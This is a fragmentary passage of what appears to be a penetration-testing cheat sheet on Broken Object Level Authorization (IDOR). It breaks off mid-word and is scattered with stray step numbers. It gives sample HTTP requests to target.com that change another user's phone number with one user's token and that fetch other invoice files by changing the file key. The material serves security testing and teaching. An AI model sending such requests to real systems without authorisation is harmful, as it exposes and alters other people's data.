Broken Object Level Authorization
Check List
Methodology
Black Box
IDOR
1
2
Your profile → returns "id": 12345
Your orders → /api/orders/9876
Your files → /files/abc-xyz-111
Your settings → /api/v1/users/8523
4
5
Updating Another User’s Object
1
2
PUT /api/users/1024 HTTP/1.1
Host: target.com
Authorization: Bearer user_token_1024
Content-Type: application/json
{"phone":"9999999999"}3
PUT /api/users/1025 HTTP/1.1
Host: target.com
Authorization: Bearer user_token_1024
Content-Type: application/json
{"phone":"8888888888"}4
5
6
Accessing Files via Object Key Manipulation
1
2
GET /api/files/INV-2024-001.pdf HTTP/1.1
Host: target.com
Authorization: Bearer token_userA3
GET /api/files/INV-2024-002.pdf HTTP/1.1
Host: target.com
Authorization: Bearer token_userA4
5
6
White Bo
Cheat Sheet
Last updated